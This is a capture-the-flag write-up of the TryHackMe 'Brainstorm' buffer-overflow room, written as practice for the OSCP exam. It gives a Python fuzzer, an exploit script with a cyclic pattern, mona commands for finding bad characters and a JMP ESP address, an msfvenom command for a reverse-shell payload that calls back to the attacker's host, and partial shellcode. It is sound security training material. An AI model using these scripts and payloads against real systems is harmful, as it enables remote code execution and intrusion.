BoF Brainstorm Writeup

BoF Brainstorm Writeup

*TryHackMe | Brainstorm

This room will help you practice the buffer overflow technique that you will need to perform on the OSCP test.

This room also teaches you very BoF techniques as well. https://tryhackme.com/room/bufferoverflowprep

In order to complete this room, you will need to have a few steps completed prior.

  1. Have a windows Virtual machine set up with a immunity debugger installed.

  2. Download Mona on the Windows VM - follow the steps on the github page GitHub - corelan/mona: Corelan Repository for mona.py 3.Create and save 3 python scripts on your Kali machine from the buffer overflow prep room. (fuzzer.py, exploit.py, and badchar.py )


1 Scanning and downloading programs into the Windows VM

Perform a nmap scan on the machine.

Once the scan is completed, you will notice that it has two main ports that are open.

One is FTP and the other one is an application.

  • Try connecting to the app using netcat: nc IP_ADDRESS 9999

it prompts you to enter a username -- let's take a note on that for now.

  • Since the anonymous login is avaiable with FTP, let's try logging in.

  • Download the program files in to the Kali machine.

  • Drag and drop thoese files into the Windows VM.

Run the program and check the connectivity

  • To check the connectivity, simpily run the program on the Windows VM and then connect to it with a netcat command from Kali as you did on the tryhackme machine.

  • Now, open the immunity debugger and open the application.

    • File > open > chatserver

  • run the following command in the input box at the bottom of the immunity debugger

  • !mona config -set workingfolder c:\\mona\\%p

  • mona is essential tool for windows BoF as it can teach us important points in the program and bad characters, etc, later.

This creates a folder for this specific app for later use. !mona config -set workingfolder c:\mona\%p

Fuzzing

  • We need to see if we can crash the application by sending a lot of data comprised of As

Since the application prompts the user to enter username, we need to modify the fuzzer.py a bit.

#!/usr/bin/env python3

import socket, time, sys

ip = "192.168.10.162"

port = 9999
timeout = 5
prefix = ""

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      s.send(bytes("USER username\r\n", "latin-1"))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
      s.send(bytes("QUIT\r\n", "latin-1"))
      s.recv(1024)
      s.close()
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

This modification will let us send a username info and then send buffer.

Once we run the fuzzer.py, it crushes at 2100 bytes.

Finding the offset

What's an offset?

---- research

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server

Open the exploit.py on a text editor.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100 Copy the output and paste it in the payload into the exploit.py

We also need to modify the script to match the application behavior here.

ip = "10.10.252.144"
port = 9999

prefix = ""
offset = ""
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6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il buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Run the exploit.py (don't forget to re-open the application on the Immunity Debugger ) Once the server crushes again, run the following mona command in the immunity debugger to find the offset (where the application crushed exactly):

!mona findmsp -distance 600

msf-pattern_offset -l [pattern length] -q [EIP address]

can be also used

This shows that the offset is "2012", so let's enter the value into the exploit.py. Enter "BBBB" into the retn value, which should change the EIP value to "42424242" if the exploit is successful.

It was a success! This means that we can manupulate the JMP value to execute malicious code of our own!

Finding badcharacters

we need to know what bad characters te program hates. Create a python script like below and run it to generate a string of bad chars from \x01 to \xff:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Update your exploit.py script and set the payload variable to the string of bad chars the script generate.

Restart oscp.exe in Immunity and run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following mona command:

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

It shows unmodified, that means only \x00 is the bad character! (if this shows multiple bad chars, we need to keep modifying the script and remove the bad characters)

Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.

Find a Jump point.

With the oscp.exe either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):

!mona jmp -r esp -cpb "\x00"

This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. The results should display in the "Log data" window (use the Window menu to switch to it if needed).

Choose an address and update your exploit.py script, setting the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

Generate Payload

Run the following msfvenom command on Kali, using your Kali VPN IP as the LHOST and updating the -b option with all the badchars you identified (including \x00):

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c

Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d" ... "\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6" "\x19\x53\xd0\x92\x19\x53\x2e\x1d")

Prepend NOPs

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes:

padding = "\x90" * 16

Exploit it and get a reverse shell!

Last updated